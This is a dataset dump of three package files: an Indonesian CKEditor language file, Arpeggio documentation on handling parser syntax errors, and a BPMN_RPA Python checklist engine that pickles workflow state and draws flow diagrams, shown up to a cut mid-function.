id
stringlengths 1
265
| text
stringlengths 6
5.19M
| dataset_id
stringclasses 7
values |
---|---|---|
/Django-Pizza-16.10.1.tar.gz/Django-Pizza-16.10.1/pizza/kitchen_sink/static/ks/ckeditor/lang/id.js | /*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.lang['id']={"editor":"Rich Text Editor","editorPanel":"Rich Text Editor panel","common":{"editorHelp":"Tekan ALT 0 untuk bantuan.","browseServer":"Jelajah Server","url":"URL","protocol":"Protokol","upload":"Unggah","uploadSubmit":"Kirim ke Server","image":"Gambar","flash":"Flash","form":"Formulir","checkbox":"Kotak Cek","radio":"Tombol Radio","textField":"Kolom Teks","textarea":"Area Teks","hiddenField":"Kolom Tersembunyi","button":"Tombol","select":"Kolom Seleksi","imageButton":"Tombol Gambar","notSet":"<tidak diatur>","id":"Id","name":"Nama","langDir":"Arah Bahasa","langDirLtr":"Kiri ke Kanan (LTR)","langDirRtl":"Kanan ke Kiri","langCode":"Kode Bahasa","longDescr":"Deskripsi URL Panjang","cssClass":"Kelas Stylesheet","advisoryTitle":"Penasehat Judul","cssStyle":"Gaya","ok":"OK","cancel":"Batal","close":"Tutup","preview":"Pratinjau","resize":"Ubah ukuran","generalTab":"Umum","advancedTab":"Advanced","validateNumberFailed":"Nilai ini tidak sebuah angka","confirmNewPage":"Semua perubahan yang tidak disimpan di konten ini akan hilang. Apakah anda yakin ingin memuat halaman baru?","confirmCancel":"Beberapa opsi telah berubah. Apakah anda yakin ingin menutup dialog?","options":"Opsi","target":"Sasaran","targetNew":"Jendela Baru (_blank)","targetTop":"Topmost Window (_top)","targetSelf":"Jendela yang Sama (_self)","targetParent":"Parent Window (_parent)","langDirLTR":"Kiri ke Kanan (LTR)","langDirRTL":"Kanan ke Kiri (RTL)","styles":"Gaya","cssClasses":"Kelas Stylesheet","width":"Lebar","height":"Tinggi","align":"Penjajaran","alignLeft":"Kiri","alignRight":"Kanan","alignCenter":"Tengah","alignTop":"Atas","alignMiddle":"Tengah","alignBottom":"Bawah","invalidValue":"Nilai tidak sah.","invalidHeight":"Tinggi harus sebuah angka.","invalidWidth":"Lebar harus sebuah angka.","invalidCssLength":"Nilai untuk \"%1\" harus sebuah angkat positif dengan atau tanpa pengukuran unit CSS yang sah (px, %, in, cm, mm, em, ex, pt, or pc).","invalidHtmlLength":"Nilai yang dispesifikasian untuk kolom \"%1\" harus sebuah angka positif dengan atau tanpa sebuah unit pengukuran HTML (px atau %) yang valid.","invalidInlineStyle":"Value specified for the inline style must consist of one or more tuples with the format of \"name : value\", separated by semi-colons.","cssLengthTooltip":"Masukkan sebuah angka untuk sebuah nilai dalam pixel atau sebuah angka dengan unit CSS yang sah (px, %, in, cm, mm, em, ex, pt, or pc).","unavailable":"%1<span class=\"cke_accessibility\">, tidak tersedia</span>"},"about":{"copy":"Hak cipta © $1. All rights reserved.","dlgTitle":"Tentang CKEditor","help":"Cel $1 untuk bantuan.","moreInfo":"Untuk informasi lisensi silahkan kunjungi web site kami:","title":"Tentang CKEditor","userGuide":"Petunjuk Pengguna CKEditor"},"basicstyles":{"bold":"Huruf Tebal","italic":"Huruf Miring","strike":"Strike Through","subscript":"Subscript","superscript":"Superscript","underline":"Garis Bawah"},"bidi":{"ltr":"Arah penulisan dari kiri ke kanan.","rtl":"Arah penulisan dari kanan ke kiri."},"blockquote":{"toolbar":"Kutipan Blok"},"clipboard":{"copy":"Salin","copyError":"Pengaturan keamanan peramban anda tidak mengizinkan editor untuk mengeksekusi operasi menyalin secara otomatis. Mohon gunakan papan tuts (Ctrl/Cmd+C)","cut":"Potong","cutError":"Your browser security settings don't permit the editor to automatically execute cutting operations. Please use the keyboard for that (Ctrl/Cmd+X).","paste":"Tempel","pasteArea":"Area Tempel","pasteMsg":"Please paste inside the following box using the keyboard (<strong>Ctrl/Cmd+V</strong>) and hit OK","securityMsg":"Because of your browser security settings, the editor is not able to access your clipboard data directly. You are required to paste it again in this window.","title":"Tempel"},"colorbutton":{"auto":"Automatic","bgColorTitle":"Warna Latar Belakang","colors":{"000":"Black","800000":"Maroon","8B4513":"Saddle Brown","2F4F4F":"Dark Slate Gray","008080":"Teal","000080":"Navy","4B0082":"Indigo","696969":"Dark Gray","B22222":"Fire Brick","A52A2A":"Brown","DAA520":"Golden Rod","006400":"Dark Green","40E0D0":"Turquoise","0000CD":"Medium Blue","800080":"Purple","808080":"Gray","F00":"Red","FF8C00":"Dark Orange","FFD700":"Gold","008000":"Green","0FF":"Cyan","00F":"Blue","EE82EE":"Violet","A9A9A9":"Dim Gray","FFA07A":"Light Salmon","FFA500":"Orange","FFFF00":"Yellow","00FF00":"Lime","AFEEEE":"Pale Turquoise","ADD8E6":"Light Blue","DDA0DD":"Plum","D3D3D3":"Light Grey","FFF0F5":"Lavender Blush","FAEBD7":"Antique White","FFFFE0":"Light Yellow","F0FFF0":"Honeydew","F0FFFF":"Azure","F0F8FF":"Alice Blue","E6E6FA":"Lavender","FFF":"White"},"more":"More Colors...","panelTitle":"Warna","textColorTitle":"Text Color"},"colordialog":{"clear":"Clear","highlight":"Highlight","options":"Color Options","selected":"Selected Color","title":"Select color"},"templates":{"button":"Contoh","emptyListMsg":"(Tidak ada contoh didefinisikan)","insertOption":"Ganti konten sebenarnya","options":"Opsi Contoh","selectPromptMsg":"Mohon pilih contoh untuk dibuka di editor","title":"Contoh Konten"},"contextmenu":{"options":"Opsi Konteks Pilihan"},"div":{"IdInputLabel":"Id","advisoryTitleInputLabel":"Penasehat Judul","cssClassInputLabel":"Kelas Stylesheet","edit":"Sunting Div","inlineStyleInputLabel":"Inline Style","langDirLTRLabel":"Kiri ke Kanan (LTR)","langDirLabel":"Arah Bahasa","langDirRTLLabel":"Kanan ke Kiri (RTL)","languageCodeInputLabel":"Kode Bahasa","remove":"Hapus Div","styleSelectLabel":"Gaya","title":"Ciptakan Wadah Div","toolbar":"Cipatakan Wadah Div"},"toolbar":{"toolbarCollapse":"Ciutkan Toolbar","toolbarExpand":"Bentangkan Toolbar","toolbarGroups":{"document":"Dokumen","clipboard":"Papan klip / Kembalikan perlakuan","editing":"Sunting","forms":"Formulir","basicstyles":"Gaya Dasar","paragraph":"Paragraf","links":"Tautan","insert":"Sisip","styles":"Gaya","colors":"Warna","tools":"Alat"},"toolbars":"Editor toolbars"},"elementspath":{"eleLabel":"Elements path","eleTitle":"%1 element"},"find":{"find":"Temukan","findOptions":"Opsi menemukan","findWhat":"Temukan apa:","matchCase":"Match case","matchCyclic":"Match cyclic","matchWord":"Match whole word","notFoundMsg":"The specified text was not found.","replace":"Ganti","replaceAll":"Ganti Semua","replaceSuccessMsg":"%1 occurrence(s) replaced.","replaceWith":"Ganti dengan:","title":"Temukan dan Ganti"},"fakeobjects":{"anchor":"Anchor","flash":"Animasi Flash","hiddenfield":"Kolom Tersembunyi","iframe":"IFrame","unknown":"Obyek Tak Dikenal"},"flash":{"access":"Script Access","accessAlways":"Selalu","accessNever":"Tidak Pernah","accessSameDomain":"Domain yang sama","alignAbsBottom":"Abs Bottom","alignAbsMiddle":"Abs Middle","alignBaseline":"Dasar","alignTextTop":"Text Top","bgcolor":"Warna Latar Belakang","chkFull":"Izinkan Layar Penuh","chkLoop":"Loop","chkMenu":"Enable Flash Menu","chkPlay":"Mainkan Otomatis","flashvars":"Variables for Flash","hSpace":"HSpace","properties":"Flash Properties","propertiesTab":"Properti","quality":"Kualitas","qualityAutoHigh":"Tinggi Otomatis","qualityAutoLow":"Rendah Otomatis","qualityBest":"Terbaik","qualityHigh":"Tinggi","qualityLow":"Rendah","qualityMedium":"Sedang","scale":"Scale","scaleAll":"Perlihatkan semua","scaleFit":"Exact Fit","scaleNoBorder":"Tanpa Batas","title":"Flash Properties","vSpace":"VSpace","validateHSpace":"HSpace harus sebuah angka","validateSrc":"URL tidak boleh kosong","validateVSpace":"VSpace harus sebuah angka","windowMode":"Window mode","windowModeOpaque":"Opaque","windowModeTransparent":"Transparan","windowModeWindow":"Jendela"},"font":{"fontSize":{"label":"Ukuran","voiceLabel":"Font Size","panelTitle":"Font Size"},"label":"Font","panelTitle":"Font Name","voiceLabel":"Font"},"forms":{"button":{"title":"Button Properties","text":"Teks (Nilai)","type":"Tipe","typeBtn":"Tombol","typeSbm":"Menyerahkan","typeRst":"Reset"},"checkboxAndRadio":{"checkboxTitle":"Checkbox Properties","radioTitle":"Radio Button Properties","value":"Nilai","selected":"Terpilih"},"form":{"title":"Form Properties","menu":"Form Properties","action":"Aksi","method":"Metode","encoding":"Encoding"},"hidden":{"title":"Hidden Field Properties","name":"Nama","value":"Nilai"},"select":{"title":"Selection Field Properties","selectInfo":"Select Info","opAvail":"Available Options","value":"Nilai","size":"Ukuran","lines":"garis","chkMulti":"Izinkan pemilihan ganda","opText":"Teks","opValue":"Nilai","btnAdd":"Tambah","btnModify":"Modifikasi","btnUp":"Atas","btnDown":"Bawah","btnSetValue":"Set as selected value","btnDelete":"Hapus"},"textarea":{"title":"Textarea Properties","cols":"Kolom","rows":"Baris"},"textfield":{"title":"Text Field Properties","name":"Name","value":"Nilai","charWidth":"Character Width","maxChars":"Maximum Characters","type":"Tipe","typeText":"Teks","typePass":"Kata kunci","typeEmail":"Surel","typeSearch":"Cari","typeTel":"Nomor Telepon","typeUrl":"URL"}},"format":{"label":"Bentuk","panelTitle":"Bentuk Paragraf","tag_address":"Alamat","tag_div":"Normal (DIV)","tag_h1":"Heading 1","tag_h2":"Heading 2","tag_h3":"Heading 3","tag_h4":"Heading 4","tag_h5":"Heading 5","tag_h6":"Heading 6","tag_p":"Normal","tag_pre":"Membentuk"},"horizontalrule":{"toolbar":"Sisip Garis Horisontal"},"iframe":{"border":"Show frame border","noUrl":"Please type the iframe URL","scrolling":"Enable scrollbars","title":"IFrame Properties","toolbar":"IFrame"},"image":{"alertUrl":"Mohon tulis URL gambar","alt":"Teks alternatif","border":"Batas","btnUpload":"Kirim ke Server","button2Img":"Do you want to transform the selected image button on a simple image?","hSpace":"HSpace","img2Button":"Do you want to transform the selected image on a image button?","infoTab":"Info Gambar","linkTab":"Tautan","lockRatio":"Lock Ratio","menu":"Image Properties","resetSize":"Reset Size","title":"Image Properties","titleButton":"Image Button Properties","upload":"Unggah","urlMissing":"Image source URL is missing.","vSpace":"VSpace","validateBorder":"Border must be a whole number.","validateHSpace":"HSpace must be a whole number.","validateVSpace":"VSpace must be a whole number."},"indent":{"indent":"Tingkatkan Lekuk","outdent":"Kurangi Lekuk"},"smiley":{"options":"Opsi Smiley","title":"Sisip sebuah Smiley","toolbar":"Smiley"},"justify":{"block":"Rata kiri-kanan","center":"Pusat","left":"Align Left","right":"Align Right"},"link":{"acccessKey":"Access Key","advanced":"Advanced","advisoryContentType":"Advisory Content Type","advisoryTitle":"Penasehat Judul","anchor":{"toolbar":"Anchor","menu":"Edit Anchor","title":"Anchor Properties","name":"Anchor Name","errorName":"Please type the anchor name","remove":"Remove Anchor"},"anchorId":"By Element Id","anchorName":"By Anchor Name","charset":"Linked Resource Charset","cssClasses":"Kelas Stylesheet","emailAddress":"E-Mail Address","emailBody":"Message Body","emailSubject":"Message Subject","id":"Id","info":"Link Info","langCode":"Kode Bahasa","langDir":"Arah Bahasa","langDirLTR":"Kiri ke Kanan (LTR)","langDirRTL":"Kanan ke Kiri (RTL)","menu":"Edit Link","name":"Nama","noAnchors":"(No anchors available in the document)","noEmail":"Please type the e-mail address","noUrl":"Please type the link URL","other":"<other>","popupDependent":"Dependent (Netscape)","popupFeatures":"Popup Window Features","popupFullScreen":"Full Screen (IE)","popupLeft":"Left Position","popupLocationBar":"Location Bar","popupMenuBar":"Menu Bar","popupResizable":"Resizable","popupScrollBars":"Scroll Bars","popupStatusBar":"Status Bar","popupToolbar":"Toolbar","popupTop":"Top Position","rel":"Relationship","selectAnchor":"Select an Anchor","styles":"Gaya","tabIndex":"Tab Index","target":"Sasaran","targetFrame":"<frame>","targetFrameName":"Target Frame Name","targetPopup":"<popup window>","targetPopupName":"Popup Window Name","title":"Tautan","toAnchor":"Link to anchor in the text","toEmail":"E-mail","toUrl":"URL","toolbar":"Tautan","type":"Link Type","unlink":"Unlink","upload":"Unggah"},"list":{"bulletedlist":"Sisip/Hapus Daftar Bullet","numberedlist":"Sisip/Hapus Daftar Bernomor"},"liststyle":{"armenian":"Armenian numbering","bulletedTitle":"Bulleted List Properties","circle":"Lingkaran","decimal":"Desimal (1, 2, 3, dst.)","decimalLeadingZero":"Desimal diawali angka nol (01, 02, 03, dst.)","disc":"Cakram","georgian":"Georgian numbering (an, ban, gan, etc.)","lowerAlpha":"Huruf Kecil (a, b, c, d, e, dst.)","lowerGreek":"Lower Greek (alpha, beta, gamma, etc.)","lowerRoman":"Angka Romawi (i, ii, iii, iv, v, dst.)","none":"Tidak ada","notset":"<tidak diatur>","numberedTitle":"Numbered List Properties","square":"Persegi","start":"Mulai","type":"Tipe","upperAlpha":"Huruf Besar (A, B, C, D, E, dst.)","upperRoman":"Upper Roman (I, II, III, IV, V, etc.)","validateStartNumber":"List start number must be a whole number."},"magicline":{"title":"Masukkan paragraf disini"},"maximize":{"maximize":"Memperbesar","minimize":"Memperkecil"},"newpage":{"toolbar":"Halaman Baru"},"pagebreak":{"alt":"Halaman Istirahat","toolbar":"Sisip Halaman Istirahat untuk Pencetakan "},"pastetext":{"button":"Tempel sebagai teks polos","title":"Tempel sebagai Teks Polos"},"pastefromword":{"confirmCleanup":"Teks yang ingin anda tempel sepertinya di salin dari Word. Apakah anda mau membersihkannya sebelum menempel?","error":"Tidak mungkin membersihkan data yang ditempel dikerenakan kesalahan internal","title":"Tempel dari Word","toolbar":"Tempel dari Word"},"preview":{"preview":"Pratinjau"},"print":{"toolbar":"Cetak"},"removeformat":{"toolbar":"Hapus Format"},"save":{"toolbar":"Simpan"},"selectall":{"toolbar":"Pilih Semua"},"showblocks":{"toolbar":"Perlihatkan Blok"},"sourcearea":{"toolbar":"Sumber"},"specialchar":{"options":"Opsi spesial karakter","title":"Pilih spesial karakter","toolbar":"Sisipkan spesial karakter"},"scayt":{"about":"About SCAYT","aboutTab":"About","addWord":"Add Word","allCaps":"Ignore All-Caps Words","dic_create":"Create","dic_delete":"Delete","dic_field_name":"Dictionary name","dic_info":"Initially the User Dictionary is stored in a Cookie. However, Cookies are limited in size. When the User Dictionary grows to a point where it cannot be stored in a Cookie, then the dictionary may be stored on our server. To store your personal dictionary on our server you should specify a name for your dictionary. If you already have a stored dictionary, please type its name and click the Restore button.","dic_rename":"Rename","dic_restore":"Restore","dictionariesTab":"Dictionaries","disable":"Disable SCAYT","emptyDic":"Dictionary name should not be empty.","enable":"Enable SCAYT","ignore":"Ignore","ignoreAll":"Ignore All","ignoreDomainNames":"Ignore Domain Names","langs":"Languages","languagesTab":"Languages","mixedCase":"Ignore Words with Mixed Case","mixedWithDigits":"Ignore Words with Numbers","moreSuggestions":"More suggestions","opera_title":"Not supported by Opera","options":"Options","optionsTab":"Options","title":"Spell Check As You Type","toggle":"Toggle SCAYT","noSuggestions":"No suggestion"},"stylescombo":{"label":"Gaya","panelTitle":"Formatting Styles","panelTitle1":"Block Styles","panelTitle2":"Inline Styles","panelTitle3":"Object Styles"},"table":{"border":"Ukuran batas","caption":"Judul halaman","cell":{"menu":"Sel","insertBefore":"Sisip Sel Sebelum","insertAfter":"Sisip Sel Setelah","deleteCell":"Hapus Sel","merge":"Gabungkan Sel","mergeRight":"Gabungkan ke Kanan","mergeDown":"Gabungkan ke Bawah","splitHorizontal":"Pisahkan Sel Secara Horisontal","splitVertical":"Pisahkan Sel Secara Vertikal","title":"Properti Sel","cellType":"Tipe Sel","rowSpan":"Rentang antar baris","colSpan":"Rentang antar kolom","wordWrap":"Word Wrap","hAlign":"Jajaran Horisontal","vAlign":"Jajaran Vertikal","alignBaseline":"Dasar","bgColor":"Warna Latar Belakang","borderColor":"Warna Batasan","data":"Data","header":"Header","yes":"Ya","no":"Tidak","invalidWidth":"Lebar sel harus sebuah angka.","invalidHeight":"Tinggi sel harus sebuah angka","invalidRowSpan":"Rentang antar baris harus angka seluruhnya.","invalidColSpan":"Rentang antar kolom harus angka seluruhnya","chooseColor":"Pilih"},"cellPad":"Sel spasi dalam","cellSpace":"Spasi antar sel","column":{"menu":"Kolom","insertBefore":"Sisip Kolom Sebelum","insertAfter":"Sisip Kolom Sesudah","deleteColumn":"Hapus Kolom"},"columns":"Kolom","deleteTable":"Hapus Tabel","headers":"Headers","headersBoth":"Keduanya","headersColumn":"Kolom pertama","headersNone":"Tidak ada","headersRow":"Baris Pertama","invalidBorder":"Ukuran batasan harus sebuah angka","invalidCellPadding":"'Spasi dalam' sel harus angka positif.","invalidCellSpacing":"Spasi antar sel harus angka positif.","invalidCols":"Jumlah kolom harus sebuah angka lebih besar dari 0","invalidHeight":"Tinggi tabel harus sebuah angka.","invalidRows":"Jumlah barus harus sebuah angka dan lebih besar dari 0.","invalidWidth":"Lebar tabel harus sebuah angka.","menu":"Properti Tabel","row":{"menu":"Baris","insertBefore":"Sisip Baris Sebelum","insertAfter":"Sisip Baris Sesudah","deleteRow":"Hapus Baris"},"rows":"Baris","summary":"Intisari","title":"Properti Tabel","toolbar":"Tabe","widthPc":"persen","widthPx":"piksel","widthUnit":"lebar satuan"},"undo":{"redo":"Kembali lakukan","undo":"Batalkan perlakuan"},"wsc":{"btnIgnore":"Ignore","btnIgnoreAll":"Ignore All","btnReplace":"Replace","btnReplaceAll":"Replace All","btnUndo":"Undo","changeTo":"Change to","errorLoading":"Error loading application service host: %s.","ieSpellDownload":"Spell checker not installed. Do you want to download it now?","manyChanges":"Spell check complete: %1 words changed","noChanges":"Spell check complete: No words changed","noMispell":"Spell check complete: No misspellings found","noSuggestions":"- No suggestions -","notAvailable":"Sorry, but service is unavailable now.","notInDic":"Not in dictionary","oneChange":"Spell check complete: One word changed","progress":"Spell check in progress...","title":"Spell Check","toolbar":"Check Spelling"}}; | PypiClean |
/Arpeggio-2.0.2.tar.gz/Arpeggio-2.0.2/docs/handling_errors.md | # Handling syntax errors in the input
This section explains how to handle parsing errors.
---
If your grammar is correct but you get input string with syntax error parser
will raise `NoMatch` exception with the information where in the input stream
error has occurred and what the parser expect to see at that location.
By default, if `NoMatch` is not caught you will get detailed explanation of
the error at the console. The exact location will be reported, the context
(part of the input where the error occurred) and all the rules that were tried
at that location.
Example:
```python
parser = ParserPython(calc)
# 'r' in the following expression can't be recognized by
# calc grammar
input_expr = "23+4/r-89"
parse_tree = parser.parse(input_expr)
```
As there is an error in the `input_expr` string (`r` is not expected) the
following traceback will be printed:
Traceback (most recent call last):
...
arpeggio.NoMatch: Expected '+' or '-' or 'number' or
'(' at position (1, 6) => '23+4/*r-89'.
The place in the input stream is marked by `*` and the position in (line,
column) is given (`(1, 6)`).
If you wish to handle syntax errors gracefully you can catch `NoMatch` in your
code and inspect its attributes.
```python
try:
parser = ParserPython(calc)
input_expr = "23+4/r-89"
parse_tree = parser.parse(input_expr)
except NoMatch as e:
# Do something with e
# Call e.eval_attrs() if you want to create a custom message
# call str(e) for the default message
```
`NoMatch` class has the following attributes:
- `rules` - A list of `ParsingExpression` rules that are the sources of the
exception.
- `position` - A position in the input stream where exception occurred.
- `parser` - A `Parser` instance used for parsing.
After `eval_attrs()` method is called on the exception (happens automatically if
`__str__` is called) these additional attributes are available:
- `message` - An error message.
- `context` - A context (part of the input) in which error occurred.
- `line`, `col` - A line and column in the input stream where exception
occurred.
Arpeggio is a backtracking parser, which means that it will go back and try
another alternatives when the match does not succeeds. Nevertheless, it will
report the furthest place in the input where it failed. Arpeggio will
report all `Match` rules that failed at that position.
| PypiClean |
/BPMN_RPA-7.1.2.tar.gz/BPMN_RPA-7.1.2/BPMN_RPA/CheckListEngine.py | import os
import sys
import dill as pickle
from BPMN_RPA.WorkflowEngine import WorkflowEngine, SQL
# The BPMN-RPA CheckListEngine is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# The BPMN-RPA CheckListEngine is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
# Copyright 2020-2021 Joost van Gils (J.W.N.M. van Gils)
#
# BPMN-RPA CheckListEngine uses the dill library, which is licensed under the BSD License (BSD-3-Clause).
# Copyright Mike McKerns. Further reading:
# M.M. McKerns, L. Strand, T. Sullivan, A. Fang, M.A.G. Aivazis,
# "Building a framework for predictive science", Proceedings of
# the 10th Python in Science Conference, 2011;
# http://arxiv.org/pdf/1202.1056
# Michael McKerns and Michael Aivazis,
# "pathos: a framework for heterogeneous computing", 2010- ;
# https://uqfoundation.github.io/project/pathos
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
# FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
class ChecklistEngine:
def __init__(self, flow_name="", full_path_save_as="", input_parameter="", save_images_in_folder: str = ""):
"""
This Engine will start the flow and will svae the state of the flow after each step by pickeling the flow object.
A Checklist can run multiple copies of the original flow. Therefore you must give each instance a separate name.
:param flow_name: The full path of the flow to run, including the file name and extension. This may be the original flow (.flw) file when you are starting a first run of a new instance, or the full path to the instance of the flow with the saved state.
:param input_parameter: The input parameter for the flow.
:param full_path_save_as: The full path to save the flow instance to. This is used to save the state of the flow after each step. You can save the flow with another name than the original flow to create separate instances of the flow. It is advised to set this parameter when you are starting a new instance of the flow.
:param save_images_in_folder: The path to the folder where the images of the flow will be saved. If this parameter is empty, the images will be saved in the same folder as the instance.
"""
self.flow_name = flow_name
self.save_as = full_path_save_as
self.outputPreviousStep = None
self.PreviousStep = None
self.step = None
self.save_images_in_folder = save_images_in_folder
if full_path_save_as == "":
self.save_as = flow_name.replace(".flw", "_running_instance")
# Check if file exists. If not, throw exception
if not os.path.exists(self.flow_name) and self.flow_name != "":
raise FileNotFoundError(f"The flow file does not exist!")
try:
self.engine = WorkflowEngine(input_parameter=input_parameter)
doc = self.engine.open(fr"{self.flow_name}")
self.engine.doc = doc
self.steps = self.engine.get_flow(doc)
if self.save_as != "":
self.flow_name = self.save_as
except Exception as e:
try:
self.load_flow_state(flow_name)
except Exception as e:
try:
self.load_flow_state(full_path_save_as)
if self.save_as != "":
self.flow_name = self.save_as
except Exception as e:
pass
def run_next_step(self, ask_permission=False, msgbox=True):
"""
Loop the steps and save after each step.
:param steps: The steps to run
:param ask_permission: If True, the user will be asked to click the OK button to continue to the next step.
:param msgbox: If this is True and ask_permission is True, a message box will be shown to the user to click OK to continue to the next step. Otherwise, the user will be asked to enter Yes (y) or No (n) in the console.
:return: True or False
"""
if self.engine.current_step is None:
for stp in self.steps:
if hasattr(stp, "IsStart"):
if stp.IsStart:
self.step = stp
break
if self.step is None:
self.PreviousStep = self.step
self.step = self.engine.get_next_step(self.engine.current_step, self.steps, self.outputPreviousStep)
try:
if self.engine.db is None:
db_path = self.engine.get_db_path()
self.engine.db = SQL(db_path)
except Exception as e:
pass
if ask_permission and getattr(self.step, "IsStart") == False and not (
"gateway" in str(getattr(self.step, "type").lower())) and str(
getattr(self.step, "shape_description").lower()) != "end event.":
if not self.ask_permission_for_next_step(msgbox=msgbox):
sys.exit(0)
if hasattr(self.step, "shape_description"):
if getattr(self.step, "shape_description") == "End event.":
self.outputPreviousStep = self.engine.run_flow(self.step, True)
try:
os.remove(self.flow_name)
except:
pass
try:
os.remove(self.flow_name + "_diagram.png")
except:
pass
self.engine.print_log(f"Flow finished, instance '{self.flow_name}' removed.")
print(f"Flow finished, instance '{self.flow_name}' removed.")
# try to remove png file
try:
os.remove(f"{self.flow_name.split('.')[0]}.png")
except Exception as e:
pass
sys.exit(0)
try:
tmp = self.outputPreviousStep # Needed for gateway
self.outputPreviousStep = self.engine.run_flow(self.step, True)
if self.outputPreviousStep is None:
self.outputPreviousStep = tmp # When gateway
self.step = self.engine.get_next_step(self.step, self.steps, self.outputPreviousStep)
if self.step is None:
os.remove(self.save_as)
self.engine.print_log(f"Flow finished, instance '{self.flow_name}' removed.")
print(f"Flow finished, instance '{self.flow_name}' removed.")
sys.exit(0)
self.save_flow_state()
except Exception as e:
print(e)
self.save_flow_state()
pass
return True
def save_flow_state(self, full_path_to_save_to=""):
"""
This function will save the state of the flow to a pickle file
:param flow: The flow to save
:param full_path_to_save_to: The full path to save the instance of the flow to.
"""
if full_path_to_save_to != "":
self.save_as = full_path_to_save_to
if not self.save_as:
flw = self.flow_name.replace(".flw", "")
else:
flw = self.save_as
self.engine.db = None
pickle.settings['recurse'] = True
with open(f"{flw}", "wb") as f:
pickle.dump(self.engine, f)
def load_flow_state(self, flow_path=None):
"""
This function will load the state of the flow from a pickle file
:param flow_path: The full path of the flow to load
"""
if flow_path:
flw = flow_path
else:
if not self.save_as:
flw = self.flow_name.replace(".flw", "")
else:
flw = self.save_as
if flw == "":
raise Exception("The path of the flow to load is empty!")
with open(f"{flw}", "rb") as f:
self.engine = pickle.load(f)
db_path = self.engine.get_db_path()
self.engine.db = SQL(db_path)
self.flow_name = flw
self.steps = self.engine.get_flow(self.engine.doc)
def resume_flow(self, flow_path, ask_permission=False, msgbox=True):
"""
This function will resume the flow from the last saved state.
:param flow_path: The full path of the flow instance to resume
:param ask_permission: If True, the user will be asked to click the OK button to continue to the next step.
:param msgbox: If this is True and ask_permission is True, a message box will be shown to the user to click OK to continue to the next step. Otherwise, the user will be asked to enter Yes (y) or No (n) in the console.
"""
self.load_flow_state(flow_path)
while True:
if not self.run_next_step(ask_permission=ask_permission, msgbox=msgbox):
sys.exit(0)
def run_flow(self, ask_permission=False, msgbox=True):
"""
This function will resume the flow from the last saved state.
:param ask_permission: If True, the user will be asked to click the OK button to continue to the next step.
:param msgbox: If this is True and ask_permission is True, a message box will be shown to the user to click OK to continue to the next step. Otherwise, the user will be asked to enter Yes (y) or No (n) in the console.
"""
while True:
if not self.run_next_step(ask_permission=ask_permission, msgbox=msgbox):
sys.exit(0)
def ask_permission_for_next_step(self, msgbox=True):
"""
This function will ask the user for permission to run the next step. If the user does not have permission, the flow will be saved and the program will exit.
:param msgbox: If True, a messagebox will be shown to the user. If False, the user will be asked to enter Yes (y) or No (n) in the console.
"""
instance_name = os.path.basename(self.flow_name).split(".")[0]
if self.save_images_in_folder != "":
folder = self.save_images_in_folder
else:
folder = self.flow_name.replace(os.path.basename(self.flow_name), "")
if msgbox:
# Show messagebox
import BPMN_RPA.Scripts.MessageBox as mb
result = mb.messagebox_show_with_yes_no_buttons(f"Continue with next step?",
f"Do you want to execute the '{self.step.name}' step of flow '{instance_name}'?")
else:
# Show console
result = input(f"Do you want to execute the next step of flow '{instance_name}'? (y/n) ")
if result.lower() == "y":
result = True
else:
result = False
if result:
return True
else:
self.save_flow_state()
self.create_flow_diagram(folder)
print(f"Flow state saved: {self.flow_name}")
print("Program exited.")
sys.exit()
def create_flow_diagram(self, folder=""):
"""
This function will create a diagram of the flow.
:param folder: The folder to save the diagram to.
"""
steps = self.steps
# get start step
step = None
for stp in self.steps:
if hasattr(stp, "IsStart"):
if stp.IsStart:
step = stp
break
import graphviz
if os.name == 'nt':
if not folder.endswith("\\"):
folder += "\\"
name = os.path.basename(self.flow_name).split('\\')[-1].split('.')[0]
else:
if not folder.endswith("/"):
folder += "/"
name = os.path.basename(self.save_as).split('/')[-1].split('.')[0]
if name == "":
name = os.path.basename(self.flow_name).split('/')[-1].split('.')[0]
if self.save_as == "":
self.save_as = self.flow_name
e = graphviz.Graph('G', filename=folder + name, engine='dot', format='png')
e.attr('node', shape='ellipse', id=step.id, bordercolor="black", borderwidth="1", fontname="Arial",
fontsize="10")
e.node(name=step.id, label='Start')
step = steps[0]
ctr = 1
current_step = self.engine.get_next_step(self.engine.current_step, self.steps, "")
while True:
step = steps[ctr]
if (str(getattr(step, "type")).lower() == "shape" or (
"gateway" in str(getattr(step, "type")).lower())) and hasattr(step, "shape_description"):
if str(getattr(step, "shape_description").lower()) != "end event.":
if str(getattr(step, "shape_description").lower()) == "exclusive gateway.":
e.node(name=step.id, label="X", shape='diamond', id=step.id, style="filled", color="lightgrey",
bold="true", fontname="Arial", fontsize="10")
else:
if str(getattr(step, "shape_description").lower()) == "parallel gateway.":
